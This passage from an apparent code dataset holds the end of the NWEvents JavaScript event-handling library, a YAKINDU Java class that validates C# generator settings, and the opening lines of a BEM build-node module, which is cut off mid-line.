SUPPORT_KEY_EVENTS ? 'KeyEvent' :\n SUPPORT_KEYBOARD_EVENTS ? 'KeyboardEvent' :\n SUPPORT_UI_EVENTS ? 'UIEvent' : 'Event',\n // end non standard...\n\n testTarget = context.createDocumentFragment &&\n context.createDocumentFragment().\n appendChild(context.createElement('div')),\n\n special = /^onload|onunload|onbeforeunload|oninput$/,\n\n supported = { },\n\n isSupported =\n function(type, element) {\n var handler;\n type = 'on' + type;\n if (typeof supported[type] !== 'undefined') {\n return supported[type];\n } else {\n supported[type] = false;\n }\n element || (element = testTarget);\n if (type in element) {\n supported[type] = true;\n } else if (special.test(type)) {\n if (type in global) {\n supported[type] = true;\n } else {\n handler = global[type];\n context.createElement('body').setAttribute(type, 'return');\n if (typeof global[type] === 'function') {\n supported[type] = true;\n }\n global[type] = handler;\n }\n } else {\n element.setAttribute(type, 'return');\n if (typeof element[type] === 'function') {\n supported[type] = true;\n }\n }\n return supported[type];\n },\n\n /* ============================ UTILITY METHODS =========================== */\n\n // get document from element\n getDocument =\n function(e) {\n return e.ownerDocument || e.document || e;\n },\n\n // get window from document\n getWindow = 'parentWindow' in context ?\n function(d) {\n return d.parentWindow || window;\n } : 'defaultView' in context && global === context.defaultView ?\n function(d) {\n return d.defaultView || window;\n } : global.frames ?\n function(d) {\n // fix for older Safari 2.0.x returning\n // [object AbstractView] instead of [window]\n if (global.frames.length === 0 && context === d) {\n return global;\n } else {\n for (var i in global.frames) {\n if (global.frames[i].document === d) {\n return global.frames[i];\n }\n }\n }\n return global;\n } :\n function() { return global; },\n\n // fix IE event properties to comply with w3c standards\n fixEvent =\n function(element, event, capture) {\n // needed for DOM0 events\n event || (event = getWindow(getDocument(element)).event);\n // bound element (listening the event)\n event.currentTarget = element;\n // fired element (triggering the event)\n event.target = event.srcElement || element;\n // add preventDefault and stopPropagation methods\n event.preventDefault = preventDefault;\n event.stopPropagation = stopPropagation;\n // bound and fired element are the same AT_TARGET\n event.eventPhase = capture ? CAPTURING_PHASE : BUBBLING_PHASE;\n // related element (routing of the event)\n event.relatedTarget =\n event[(event.target === event.fromElement ? 'to' : 'from') + 'Element'];\n // set time event was fixed\n event.timeStamp = +new Date;\n return event;\n },\n\n // prevent default action\n preventDefault =\n function() {\n this.returnValue = false;\n },\n\n // stop event propagation\n stopPropagation =\n function() {\n this.cancelBubble = true;\n },\n\n // block any further event processing\n stop =\n function(event) {\n if (event.preventDefault) {\n event.preventDefault();\n } else {\n event.returnValue = false;\n }\n if (event.stopPropagation) {\n event.stopPropagation();\n } else {\n event.cancelBubble = true;\n }\n return false;\n },\n\n // check collection for registered event,\n // match element, handler and capture\n isRegistered =\n function(registry, element, type, handler, capture) {\n var i, l, found = false;\n if (registry[type] && registry[type].items) {\n for (i = 0, l = registry[type].items.length; l > i; ++i) {\n if (\n registry[type].items[i] === element &&\n registry[type].calls[i] === handler &&\n registry[type].parms[i] === capture) {\n found = i;\n break;\n }\n }\n }\n return found;\n },\n\n // list event handlers bound to\n // a given object for each type\n getRegistered =\n function(registry, element, type, capture) {\n var i, j, l, results = [ ];\n type || (type = '*');\n element || (element = '*');\n registry || (registry = Listeners);\n for (i in registry) {\n if (type.indexOf(i) > -1 || type === '*') {\n for (j = 0, l = registry[i].items.length; j < l; j++) {\n if (element === '*' || (element === registry[i].items[j] &&\n (capture === '*' || capture === registry[i].parms[j]))) {\n results.push(registry[i].calls[j]);\n }\n }\n }\n }\n return results;\n },\n\n // process listeners chain for event type\n processListeners =\n function(event) {\n var i, l, items, calls, parms, phase, valid,\n done = false, result = true, type = event.type;\n\n if (Listeners[type] && Listeners[type].items) {\n\n // cache eventPhase access\n phase = event.eventPhase;\n\n if (!event.propagated && FormActivationEvents[type]) {\n return true;\n }\n\n // only AT_TARGET event.target === event.currentTarget\n if (phase !== AT_TARGET && event.target === this) {\n if (event.propagated && phase === CAPTURING_PHASE) return true;\n phase = event.eventPhase = AT_TARGET;\n }\n\n // make a copy of the Listeners[type] array\n // since it can be modified run time by the\n // events deleting themselves or adding new\n items = Listeners[type].items.slice();\n calls = Listeners[type].calls.slice();\n parms = Listeners[type].parms.slice();\n\n // process chain in fifo order\n for (i = 0, l = items.length; l > i; ++i) {\n valid = false;\n if (items[i] === this) {\n switch (phase) {\n case CAPTURING_PHASE:\n if (!!parms[i]) {\n valid = true;\n }\n break;\n case BUBBLING_PHASE:\n if (!parms[i]) {\n valid = true;\n }\n break;\n case AT_TARGET:\n if (!done && (done = true)) {\n valid = true;\n }\n break;\n // Safari 4.x load events\n // may have eventPhase === 0\n default:\n valid = true;\n break;\n }\n }\n\n if (valid && (result = calls[i].call(this, event)) === false) break;\n }\n\n if (result === false) stop(event);\n\n }\n\n return result;\n },\n\n // process delegates chain for event type\n processDelegates =\n function(event) {\n var i, l,\n items, calls, parms, target,\n result = true, type = event.type;\n\n if (Delegates[type] && Delegates[type].items) {\n\n // make a copy of the Delegates[type] array\n // since it can be modified run time by the\n // events deleting themselves or adding new\n items = Delegates[type].items.slice();\n calls = Delegates[type].calls.slice();\n parms = Delegates[type].parms.slice();\n\n // process chain in fifo order\n bubblingLoop:\n for (i = 0, l = items.length; l > i; ++i) {\n // skip processing unregistered elements\n if (items[i] !== this) continue;\n // check element's ancestors up\n // to the currentTarget ('this')\n target = event.target;\n // bubble events up to parent nodes\n while (target && target.nodeType === 1) {\n if (NW.Dom.match(target, parms[i])) {\n // execute registered function in element scope\n if (calls[i].call(target, event) === false) {\n result = false;\n break bubblingLoop;\n }\n }\n if (target === this) break;\n target = target.parentNode;\n }\n }\n\n }\n\n return result;\n },\n\n // register an event instance and its parameters\n register =\n function(registry, element, type, handler, capture) {\n registry[type] || (registry[type] = new EventCollection);\n // append instance parameters to the registry\n registry[type].items.push(element);\n registry[type].calls.push(handler);\n registry[type].parms.push(capture);\n },\n\n // unregister an event instance and its parameters\n unregister =\n function(registry, element, type, handler, capture, key) {\n // remove instance parameters from the registry\n registry[type].items.splice(key, 1);\n registry[type].calls.splice(key, 1);\n registry[type].parms.splice(key, 1);\n registry[type].items.length === 0 && delete registry[type];\n },\n\n // lazy definition for addEventListener / attachEvent\n append = W3C_MODEL && USE_DOM2 ?\n function(element, type, handler, capture) {\n // use DOM2 event registration\n element.addEventListener(type, handler, !!capture);\n } : MSIE_MODEL && USE_DOM2 ?\n function(element, type, handler, capture) {\n // use MSIE event registration\n var key = DOMEvents[type].wraps.push(function(event) {\n return handler.call(element, fixEvent(element, event, !!capture));\n });\n element.attachEvent('on' + type, DOMEvents[type].wraps[key - 1]);\n } :\n function(element, type, handler, capture) {\n var callback = Predefined['on' + type] = element['on' + type] || new Function();\n // use DOM0 event registration\n element['on' + type] = function(event) {\n var result;\n event || (event = fixEvent(this, event, !!capture));\n result = handler.call(this, event);\n callback.call(this, event);\n return result;\n };\n },\n\n // lazy definition for removeEventListener / detachEvent\n remove = W3C_MODEL && USE_DOM2 ?\n function(element, type, handler, capture) {\n // use DOM2 event registration\n element.removeEventListener(type, handler, !!capture);\n } : MSIE_MODEL && USE_DOM2 ?\n function(element, type, handler, capture, key) {\n // use MSIE event registration\n element.detachEvent('on' + type, DOMEvents[type].wraps[key]);\n DOMEvents[type].wraps.splice(key, 1);\n } :\n function(element, type, handler, capture) {\n // use DOM0 event registration\n element['on' + type] = Predefined['on' + type];\n delete Predefined['on' + type];\n },\n\n // append an event handler\n set =\n function(element, type, handler, capture) {\n var i, k, l, types;\n if (typeof type === 'string') {\n types = type.split(' ');\n for (i = 0, l = types.length; l > i; ++i) {\n k = isRegistered(DOMEvents, element, types[i], handler, !!capture);\n if (k === false) {\n register(DOMEvents, element, types[i], handler, !!capture);\n append(element, types[i], handler, capture);\n }\n }\n } else {\n // a hash of \"rules\" containing type-handler pairs\n for (i in type) {\n set(element, i, type[i], capture);\n }\n }\n return this;\n },\n\n // remove an event handler\n unset =\n function(element, type, handler, capture) {\n var i, k, l, types;\n if (typeof type === 'string') {\n types = type.split(' ');\n for (i = 0, l = types.length; l > i; ++i) {\n k = isRegistered(DOMEvents, element, types[i], handler, !!capture);\n if (k !== false) {\n remove(element, types[i], handler, capture, k);\n unregister(DOMEvents, element, types[i], handler, !!capture, k);\n }\n }\n } else {\n // a hash of \"rules\" containing type-handler pairs\n for (i in type) {\n unset(element, i, type[i], capture);\n }\n }\n return this;\n },\n\n // append an event listener\n listen =\n function(element, type, handler, capture) {\n var i, k, l, types;\n if (typeof type === 'string') {\n types = type.split(' ');\n for (i = 0, l = types.length; l > i; ++i) {\n k = isRegistered(Listeners, element, types[i], handler, !!capture);\n if (k === false) {\n register(Listeners, element, types[i], handler, !!capture);\n if (getRegistered(Listeners, element, types[i], !!capture).length === 1) {\n set(element, types[i], processListeners, capture);\n }\n }\n }\n } else {\n // a hash of \"rules\" containing type-handler pairs\n for (i in type) {\n listen(element, i, type[i], capture);\n }\n }\n return this;\n },\n\n // remove an event listener\n unlisten =\n function(element, type, handler, capture) {\n var i, k, l, types;\n if (typeof type === 'string') {\n types = type.split(' ');\n for (i = 0, l = types.length; l > i; ++i) {\n k = isRegistered(Listeners, element, types[i], handler, !!capture);\n if (k !== false) {\n if (getRegistered(Listeners, element, types[i], !!capture).length === 1) {\n unset(element, types[i], processListeners, capture);\n }\n unregister(Listeners, element, types[i], handler, !!capture, k);\n }\n }\n } else {\n // a hash of \"rules\" containing type-handler pairs\n for (i in type) {\n unlisten(element, i, type[i], capture);\n }\n }\n return this;\n },\n\n // append an event delegate\n delegate =\n // delegated element defaults to document\n // it is a required parameter with iframes\n function(selector, type, handler, element) {\n var i, j, k, l, types;\n if (typeof selector === 'string') {\n types = type.split(' ');\n element = element || context;\n for (i = 0, l = types.length; l > i; ++i) {\n k = isRegistered(Delegates, element, types[i], handler, selector);\n if (k === false) {\n register(Delegates, element, types[i], handler, selector);\n if (getRegistered(Delegates, element, types[i], '*').length === 1) {\n listen(element, types[i], processDelegates, selector);\n }\n }\n }\n } else {\n // hash of \"rules\" containing selector-event-handler\n for (i in selector) {\n if (typeof i === 'string') {\n for (j in selector[i]) {\n delegate(i, j, selector[i][j], element);\n }\n }\n }\n }\n return this;\n },\n\n // remove an event delegate\n undelegate =\n // delegated element defaults to document\n // it is a required parameter with iframes\n function(selector, type, handler, element) {\n var i, j, k, l, types;\n if (typeof type === 'string') {\n types = type.split(' ');\n element = element || context;\n for (i = 0, l = types.length; l > i; ++i) {\n k = isRegistered(Delegates, element, types[i], handler, selector);\n if (k !== false) {\n if (getRegistered(Delegates, element, types[i], '*').length === 1) {\n unlisten(element, types[i], processDelegates, selector);\n }\n unregister(Delegates, element, types[i], handler, selector, k);\n }\n }\n } else {\n // hash of \"rules\" containing selector-event-handler\n for (i in selector) {\n if (typeof i === 'string') {\n for (j in selector[i]) {\n undelegate(i, j, selector[i][j], element);\n }\n }\n }\n }\n return this;\n },\n\n // dispatch native or custom events to registered listeners\n // this is performed using native DOM Event API if possible\n // so the event propagates to other DOM listening instances\n dispatch = W3C_MODEL ?\n // W3C event model\n function(element, type, capture, options) {\n\n var event, d = getDocument(element), view = d.defaultView;\n\n options || (options = { });\n\n if (SUPPORT_MOUSE_EVENTS && Mouse_Events[type]) {\n\n event = d.createEvent('MouseEvent');\n event.initMouseEvent(type,\n options.bubbles || true, options.cancelable || true, view,\n options.detail || 0, options.screenX || 0, options.screenY || 0, options.clientX || 0, options.clientY || 0,\n options.ctrlKey || false, options.altKey || false, options.shiftKey || false, options.metaKey || false,\n options.button || 0, options.relatedTarget || null);\n\n } else if ((SUPPORT_KEYBOARD_EVENTS || SUPPORT_KEY_EVENTS) && Keyboard_Events[type]) {\n\n event = d.createEvent(KEYBOARD_EVENT + KEYBOARD_FIX);\n event['init' + KEYBOARD_EVENT](type,\n options.bubbles || true, options.cancelable || true, view,\n /* DOM3 KeyboardEvent: option.keyIndentifier || '', option.keyLocation || 0, option.modifierList || '' */\n options.ctrlKey || false, options.altKey || false, options.shiftKey || false, options.metaKey || false,\n options.keyCode || 0, options.charCode || 0);\n\n } else if (SUPPORT_TOUCH_EVENTS && Touch_Events[type]) {\n\n event = d.createEvent('TouchEvent');\n event.initTouchEvent(type,\n options.bubbles || true, options.cancelable || true, view,\n options.detail || 0, options.screenX || 0, options.screenY || 0, options.clientX || 0, options.clientY || 0,\n options.ctrlKey || false, options.altKey || false, options.shiftKey || false, options.metaKey || false,\n options.touches || [ ], options.targetTouches || [ ], options.changedTouches || [ ],\n options.scale || 1.0, options.rotation || 0.0);\n\n } else if (SUPPORT_UI_EVENTS && UI_Events[type]) {\n\n event = d.createEvent('UIEvent');\n event.initUIEvent(type, options.bubbles || true, options.cancelable || true, view, options.detail);\n\n } else if (SUPPORT_EVENTS) {\n\n event = d.createEvent('Event');\n event.initEvent(type, options.bubbles || true, options.cancelable || true);\n\n }\n\n if (FormActivationEvents[type]) event.propagated = true;\n\n return element.dispatchEvent(event);\n } : MSIE_MODEL ?\n // IE event model\n function(element, type, capture, options) {\n\n if (isSupported(type)) {\n var event = getDocument(element).createEventObject();\n event.type = type;\n event.target = element;\n event.eventPhase = CUSTOM;\n event.returnValue = true;\n event.cancelBubble = !!capture;\n event.currentTarget = element;\n event.preventDefault = preventDefault;\n event.stopPropagation = stopPropagation;\n for (var i in options) event[i] = options[i];\n if (FormActivationEvents[type]) event.propagated = true;\n\n return element.fireEvent('on' + type, fixEvent(element, event, capture));\n }\n\n return notify(element, type, capture, options || { });\n } :\n // try manual dispatch\n function(element, type, capture, options) {\n return notify(element, type, capture, options || { });\n },\n\n // notify registered listeners an event occurred\n notify =\n function(element, type, capture, options) {\n if (typeof capture !== 'undefined') {\n return propagatePhase(element, type, !!capture);\n }\n return (propagatePhase(element, type, true) &&\n propagatePhase(element, type, false));\n },\n\n /* =========================== EVENT PROPAGATION ========================== */\n\n //\n // known available activation events:\n //\n // Internet Explorer:\n // focusin, focusout, activate, deactivate,\n // beforeactivate, beforedeactivate\n //\n // FF/Opera/Safari/K:\n // DOMActivate, DOMFocusIn, DOMFocusOut\n //\n // DOM0/1 and inline:\n // focus, blur\n //\n // we use just a few of them to emulate the capturing\n // and bubbling phases of the focus and blur events\n // where not available or named/used differently\n //\n ActivationMap = {\n 'blur': 'blur',\n 'focus': 'focus',\n/*\n 'focusin': 'focus',\n 'focusout': 'blur',\n 'activate': 'focus',\n 'deactivate': 'blur',\n 'DOMFocusIn': 'focus',\n 'DOMFocusOut': 'blur',\n*/\n 'beforeactivate': 'focus',\n 'beforedeactivate': 'blur'\n },\n\n FormActivationEvents = {\n blur: 1,\n focus: 1,\n reset: 1,\n submit: 1,\n change: 1\n },\n\n FormAction = 'keydown mousedown',\n Activation = context.addEventListener ?\n 'focus blur' : 'beforeactivate beforedeactivate',\n\n FormButton = RegExp('^(reset|submit)$'),\n FormTextbox = RegExp('^(file|text|password)$'),\n FormControl = RegExp('^(select-(one|multi)|checkbox|radio|textarea|file|text|password)$'),\n\n // create a synthetic event\n synthesize =\n function(element, type, capture, options) {\n var event = {\n type: type,\n target: element,\n bubbles: true,\n cancelable: true,\n propagated: true,\n relatedTarget: null,\n currentTarget: element,\n preventDefault: preventDefault,\n stopPropagation: stopPropagation,\n eventPhase: capture ? CAPTURING_PHASE : BUBBLING_PHASE,\n timeStamp: +new Date\n };\n for (var i in options) event[i] = options[i];\n return event;\n },\n\n // propagate events traversing the\n // ancestors path in both directions\n propagate =\n function(event) {\n var result = true, target = event.target, type = event.type;\n // execute the capturing phase\n result && (result = propagatePhase(target, type, true));\n // execute the bubbling phase\n result && (result = propagatePhase(target, type, false));\n // remove the trampoline event\n unset(target, type, propagate, false);\n // submit/reset events relayed to parent forms\n if (target.form && (/submit|reset/).test(type)) {\n target = target.form;\n }\n if (Listeners[type] && Listeners[type].items.length) {\n // execute existing native methods if not overwritten\n result && isNative(target, type) && target[type]();\n }\n result || stop(event);\n return result;\n },\n\n // propagate event capturing or bubbling phase\n propagatePhase =\n function(element, type, capture) {\n var i, l,\n result = true,\n node = element, ancestors = [],\n event = synthesize(element, type, capture);\n // collect ancestors\n while (node) {\n ancestors.push(node);\n node = node.parentNode;\n }\n // capturing, reverse ancestors collection\n if (capture) ancestors.reverse();\n // execute registered handlers in fifo order\n for (i = 0, l = ancestors.length; l > i; ++i) {\n // set currentTarget to current ancestor\n event.currentTarget = ancestors[i];\n // set eventPhase to the requested phase\n event.eventPhase = capture ? CAPTURING_PHASE : BUBBLING_PHASE;\n // execute listeners bound to this ancestor and set return value\n if (processListeners.call(ancestors[i], event) === false || event.returnValue === false) {\n result = false;\n break;\n }\n }\n return result;\n },\n\n // propagate activation events\n // captured/emulated activations\n // only applied to form elements\n propagateActivation =\n function(event) {\n var result = true, target = event.target;\n // exit if the event was not fired on forms or on controls\n if (!(/^form$/i).test(target.nodeName) && !(target.type && 'form' in target)) return true;\n result && (result = propagatePhase(target, ActivationMap[event.type], true));\n result && (result = propagatePhase(target, ActivationMap[event.type], false));\n result || (event.preventDefault ? event.preventDefault() : (event.returnValue = false));\n return result;\n },\n\n // propagate form action events\n // mousedown and keydown events\n // only applied to form elements\n propagateFormAction =\n function(event) {\n var target = event.target, type = target.type,\n active = target.ownerDocument.activeElement;\n // handle activeElement on context document\n if (target !== active) {\n if (!hasActive && target.nodeType === 1) {\n target.ownerDocument.activeElement = target;\n }\n }\n // html form elements only\n if (type) {\n // keydown or mousedown on form elements\n if (FormTextbox.test(type) && event.keyCode === 13 && target.form) {\n target = target.form;\n type = 'submit';\n } else if (FormButton.test(type) && target.form) {\n target = target.form;\n } else if (FormControl.test(type)) {\n type = 'change';\n } else {\n return;\n }\n set(target, type, propagate, false);\n }\n },\n\n // enable event propagation\n enablePropagation =\n function(context) {\n if (!context.forcedPropagation) {\n context.forcedPropagation = true;\n // deregistration on page unload\n set(getWindow(context), 'unload',\n function(event) {\n disablePropagation(context);\n // we are removing ourself here, so do it as last\n unset(this, 'unload', arguments.callee, false);\n }, false);\n // register capturing keydown and mousedown event handlers\n set(context, FormAction, propagateFormAction, true);\n // register emulated capturing focus and blur event handlers\n set(context, Activation, propagateActivation, true);\n }\n },\n\n // disable event propagation\n disablePropagation =\n function(context) {\n if (context.forcedPropagation) {\n context.forcedPropagation = false;\n // deregister capturing keydown and mousedown event handlers\n unset(context, FormAction, propagateFormAction, true);\n // deregister emulated capturing focus and blur event handlers\n unset(context, Activation, propagateActivation, true);\n }\n },\n\n /* ========================== DOM CONTENT LOADED ========================== */\n\n /*!\n * contentloaded.js\n *\n * Author: Diego Perini (diego.perini at gmail.com)\n * Summary: cross-browser wrapper for DOMContentLoaded\n * Updated: 20101020\n * License: MIT\n * Version: 1.2\n *\n * URL:\n * http://javascript.nwbox.com/ContentLoaded/\n * http://javascript.nwbox.com/ContentLoaded/MIT-LICENSE\n *\n */\n\n // @win window reference\n // @fn function reference\n contentLoaded = function(win, fn) {\n\n var done = false, top = true,\n\n doc = win.document, root = doc.documentElement,\n\n add = doc.addEventListener ? 'addEventListener' : 'attachEvent',\n rem = doc.addEventListener ? 'removeEventListener' : 'detachEvent',\n pre = doc.addEventListener ? '' : 'on',\n\n init = function(e) {\n if (e.type === 'readystatechange' && doc.readyState !== 'complete') return;\n (e.type === 'load' ? win : doc)[rem](pre + e.type, init, false);\n if (!done && (done = true)) fn.call(win, e.type || e);\n },\n\n poll = function() {\n try { root.doScroll('left'); } catch(e) { setTimeout(poll, 50); return; }\n init('poll');\n };\n\n if (doc.readyState === 'complete') fn.call(win, 'lazy');\n else {\n if (doc.createEventObject && root.doScroll) {\n try { top = !win.frameElement; } catch(e) { }\n if (top) poll();\n }\n doc[add](pre + 'DOMContentLoaded', init, false);\n doc[add](pre + 'readystatechange', init, false);\n win[add](pre + 'load', init, false);\n }\n\n },\n\n isReady = false,\n\n readyHandlers = new EventCollection,\n\n ready =\n function(host, callback) {\n if (isReady) {\n callback.call('ready');\n } else {\n var k = isRegistered(readyHandlers, host, 'ready', callback, null);\n if (k === false) {\n register(readyHandlers, host, 'ready', callback, null);\n } else {\n throw new Error('NWEvents: duplicate ready handler for host: ' + host);\n }\n }\n },\n\n complete =\n function(event) {\n isReady = true;\n if (readyHandlers['ready'] && readyHandlers['ready'].items) {\n var i, length = readyHandlers['ready'].items.length;\n for (i = 0; length > i; ++i) {\n readyHandlers['ready'].calls[i](event);\n }\n }\n };\n\n // inititalize the activeElement\n // to a known cross-browser state\n if (!hasActive) {\n context.activeElement = root;\n }\n\n // initialize context propagation\n if (!context.forcedPropagation) {\n enablePropagation(context);\n }\n\n // initialize global ready event\n contentLoaded(global, complete);\n\n // detected event model, ms or w3c\n Event.W3C_MODEL = W3C_MODEL;\n Event.MSIE_MODEL = MSIE_MODEL;\n\n // controls the type of registration\n // for event listeners (DOM0 / DOM2)\n Event.USE_DOM2 = USE_DOM2;\n\n // exposed event collections\n Event.Delegates = Delegates;\n Event.Listeners = Listeners;\n Event.DOMEvents = DOMEvents;\n\n // exposed event methods\n Event.stop = stop;\n Event.ready = ready;\n\n Event.set = set;\n Event.unset = unset;\n\n Event.append = append;\n Event.remove = remove;\n\n Event.register = register;\n Event.unregister = unregister;\n\n Event.listen = listen;\n Event.unlisten = unlisten;\n\n Event.delegate = delegate;\n Event.undelegate = undelegate;\n\n Event.notify = notify;\n Event.dispatch = dispatch;\n\n Event.synthesize = synthesize;\n\n Event.isRegistered = isRegistered;\n Event.getRegistered = getRegistered;\n\n Event.contentLoaded = contentLoaded;\n\n // back compat aliases\n Event.appendHandler = set;\n Event.removeHandler = unset;\n\n Event.appendListener = listen;\n Event.removeListener = unlisten;\n\n Event.appendDelegate = delegate;\n Event.removeDelegate = undelegate;\n\n // helpers and debugging functions\n Event.isSupported = isSupported;\n\n Event.enablePropagation = enablePropagation;\n Event.disablePropagation = disablePropagation;\n\n})(this);\n\n// embedded NW.Dom.match() so basic event delegation works,\n// accepts mixed id, tag, class simple selectors div#foo.bar\n// accepts objects having properties that must match element\n// overwritten when loading the nwmatcher.js selector engine\n(function(global) {\n\n // NW.Dom already defined, leave now\n if (global.NW && global.NW.Dom) return;\n\n var version = 'match-1.0',\n\n Dom = typeof exports === 'object' ? exports : (\n (global.NW || (global.NW = { })) &&\n (global.NW.Dom || (global.NW.Dom = { }))),\n\n doc = global.document,\n root = document.documentElement,\n\n Patterns = {\n 'id': /#([^\\.]+)/,\n 'tagName': /^([^#\\.]+)/,\n 'className': /\\.([^#]+)/,\n 'all': /^[\\.\\-\\#\\w]+$/\n },\n\n References = {\n 'parentNode': 1,\n 'lastChild': 1,\n 'firstChild': 1,\n 'nextSibling': 1,\n 'previousSibling': 1,\n 'lastElementChild': 1,\n 'firstElementChild': 1,\n 'nextElementSibling': 1,\n 'previousElementSibling': 1\n },\n\n // select Matches Selector API to use if available\n NATIVE_MATCHES_SELECTOR =\n 'matchesSelector' in root ? 'matchesSelector' :\n 'oMatchesSelector' in root ? 'oMatchesSelector' :\n 'msMatchesSelector' in root ? 'msMatchesSelector' :\n 'mozMatchesSelector' in root ? 'mozMatchesSelector' :\n 'webkitMatchesSelector' in root ? 'webkitMatchesSelector' : null,\n\n RE_SIMPLE_SELECTOR = RegExp('^(?:\\\\*|[.#]?-?[_a-zA-Z]{1}(?:[-\\\\w]|[^\\\\x00-\\\\xa0]|\\\\\\\\.)*)$');\n\n // use a simple selector match or a full\n // CSS3 selector engine if it is available\n Dom.match = function(element, selector) {\n\n var d, j, length,\n id, tagName, className,\n match, matched = false, results = [ ];\n\n d = element.ownerDocument || element;\n\n if (typeof selector === 'string') {\n if (RE_SIMPLE_SELECTOR.test(selector)) {\n // use a simple selector match (id, tag, class)\n if (selector.match(Patterns.all)) {\n match = selector.match(Patterns.tagName);\n tagName = match ? match[1] : '*';\n match = selector.match(Patterns.id);\n id = match ? match[1] : null;\n match = selector.match(Patterns.className);\n className = match ? match[1] : null;\n if ((!id || id === element.id) &&\n (!tagName || tagName === '*' || (new RegExp(tagName, 'i')).test(element.nodeName)) &&\n (!className || (' ' + element.className.replace(/\\s+/g, ' ') + ' ').indexOf(' ' + className + ' ') > -1)) {\n matched = true;\n }\n }\n } else if (NATIVE_MATCHES_SELECTOR) {\n // use native matchesSelector where available\n return element[NATIVE_MATCHES_SELECTOR](selector);\n }\n return matched;\n } else {\n // a selector matcher object\n if (typeof selector === 'object') {\n // match on property/values\n for (j in selector) {\n matched = false;\n if (j === 'className') {\n // handle special className matching\n if ((' ' + element.className.replace(/\\s+/g, ' ') + ' ').indexOf(' ' + selector[j] + ' ') > -1) {\n matched = true;\n }\n } else if (j === 'nodeName' || j === 'tagName') {\n // handle upper/lower case tag names\n if (element[j].toLowerCase() === selector[j].toLowerCase()) {\n matched = true;\n }\n } else if (References[j]) {\n // handle matching nested objects references\n matched = Dom.match(element[j], selector[j]);\n } else {\n // handle matching other properties\n if (element[j] === selector[j]) {\n matched = true;\n }\n }\n results.push(matched);\n }\n }\n }\n\n // boolean true/false\n return results.join('|').indexOf('false') < 0;\n };\n\n})(this);\n"} {"text": "/**\n * Copyright (c) 2011-2015 committers of YAKINDU and others.\n * All rights reserved. This program and the accompanying materials\n * are made available under the terms of the Eclipse Public License v1.0\n * which accompanies this distribution, and is available at\n * http://www.eclipse.org/legal/epl-v10.html\n *\n * Contributors:\n * committers of YAKINDU - initial API and implementation\n */\npackage org.yakindu.sct.generator.csharp.features;\n\nimport static org.yakindu.sct.generator.csharp.features.ICSharpFeatureConstants.*;\n\nimport java.util.Arrays;\nimport java.util.regex.Matcher;\nimport java.util.regex.Pattern;\n\nimport org.eclipse.core.runtime.IStatus;\nimport org.eclipse.core.runtime.Status;\nimport org.eclipse.emf.ecore.EObject;\nimport org.yakindu.sct.generator.core.library.AbstractDefaultFeatureValueProvider;\nimport org.yakindu.sct.model.sgen.FeatureParameterValue;\nimport org.yakindu.sct.model.sgen.FeatureType;\nimport org.yakindu.sct.model.sgen.FeatureTypeLibrary;\n\n/**\n * \n * @author andreas muelder - Initial contribution and API\n * @author terfloth - extensions\n * \n */\npublic class CSharpFeatureValueProvider extends\n\t\tAbstractDefaultFeatureValueProvider {\n\n\tprivate static final String SUFFIX_REGEX = \"[a-zA-Z0-9_]*\";\n\n\t\n\t@Override\n\tprotected void setDefaultValue(FeatureType featureType, FeatureParameterValue parameterValue,\n\t\t\tEObject contextElement) {\n\t\tif (parameterValue.getParameter().getName().equals(NAMESPACE_NAME)) {\n\t\t\tparameterValue.setValue(\"Yakindu.SCT\");\n\t\t} else if (parameterValue.getParameter().getName()\n\t\t\t\t.equals(IMPLEMENTATION_SUFFIX)) {\n\t\t\tparameterValue.setValue(\"impl\");\n\t\t} else if (parameterValue.getParameter().getName().equals(NAME_PREFIX)) {\n\t\t\tparameterValue.setValue(\"Runnable\");\n\t\t} else if (parameterValue.getParameter().getName().equals(NAME_SUFFIX)) {\n\t\t\tparameterValue.setValue(\"\");\n\t\t}\n\t\t\n\t}\n\n\tpublic boolean isProviderFor(FeatureTypeLibrary library) {\n\t\treturn library.getName().equals(LIBRARY_NAME);\n\t}\n\n\tpublic IStatus validateParameterValue(FeatureParameterValue value) {\n\t\tString name = value.getParameter().getName();\n\t\tif (NAMESPACE_NAME.equals(name)) {\n\t\t\t// Filter out C# keywords\n\t\t\tfor (String keyword : Arrays.asList(CSHARP_KEYWORDS)) {\n\t\t\t\tPattern pattern = Pattern.compile(\"(?:^|\\\\.)\" + keyword\n\t\t\t\t\t\t+ \"(?:$|\\\\.)\");\n\t\t\t\tMatcher matcher = pattern.matcher(value.getStringValue());\n\t\t\t\twhile (matcher.find()) {\n\t\t\t\t\treturn error(\"C# keyword '\" + matcher.group()\n\t\t\t\t\t\t\t+ \"' is not allowed in package names.\");\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tif (IMPLEMENTATION_SUFFIX.equals(name)) {\n\t\t\tif (!value.getStringValue().matches(SUFFIX_REGEX)) {\n\t\t\t\treturn error(\"Invalid value\");\n\t\t\t}\n\t\t\tfor (String keyword : Arrays.asList(CSHARP_KEYWORDS)) {\n\t\t\t\tPattern pattern = Pattern.compile(\"^\" + keyword + \"$\");\n\t\t\t\tMatcher matcher = pattern.matcher(value.getStringValue());\n\t\t\t\twhile (matcher.find()) {\n\t\t\t\t\treturn error(\"C# keyword '\" + matcher.group()\n\t\t\t\t\t\t\t+ \"' is not allowed as suffix.\");\n\t\t\t\t}\n\t\t\t}\n\n\t\t}\n\t\treturn Status.OK_STATUS;\n\t}\n}\n"} {"text": "'use strict';\n\nvar _ = require('lodash/dist/lodash.underscore'),\n Q = require('q'),\n QFS = require('q-io/fs'),\n FS = require('fs'),\n PATH = require('../path'),\n CP = require('child_process'),\n VM = require('vm'),\n LOGGER = require('../logger'),\n BEM = require('../coa').api,\n createLevel = require('../level').createLevel,\n Context = require('../context').Context,\n U = require('../util'),\n registry = require('../nodesregistry'),\n\n FileNode = require('./file'),\n GeneratedFileNode = require('./file').GeneratedFileNodeName,\n\n BemBuildNodeName = exports.BemBuildNodeName = 'BemBuildNode';\n\n/* jshint -W106 */\nexports.__defineGetter__(BemBuildNodeName, function() {\n return registry.getNodeClass(BemBuildNodeName);\n});\n/* jshint +W106 */\n\nregistry.decl(BemBuildNodeName, GeneratedFileNode, {\n\n nodeType: 7,\n\n __constructor: function(o) {\n\n this.bundlesLevel = o.bundlesLevel;\n this.levelsPaths = o.levels.map(function(level) {\n return level.path || level;\n });\n this.levels = o.levels.map(function(l) {\n return createLevel(l, {\n projectRoot: o.root\n });\n });\n this.declPath = o.declPath;\n this.techName = o.techName;\n this.output = o.output;\n this.forked = typeof o.forked === 'undefined'? false : !!o.forked;\n\n // NOTE: Every time we need new tech object so we use createTech().\n // If we use getTech(), we'll overwrite context of the same tech\n // object that is prone to collisions\n this.tech = 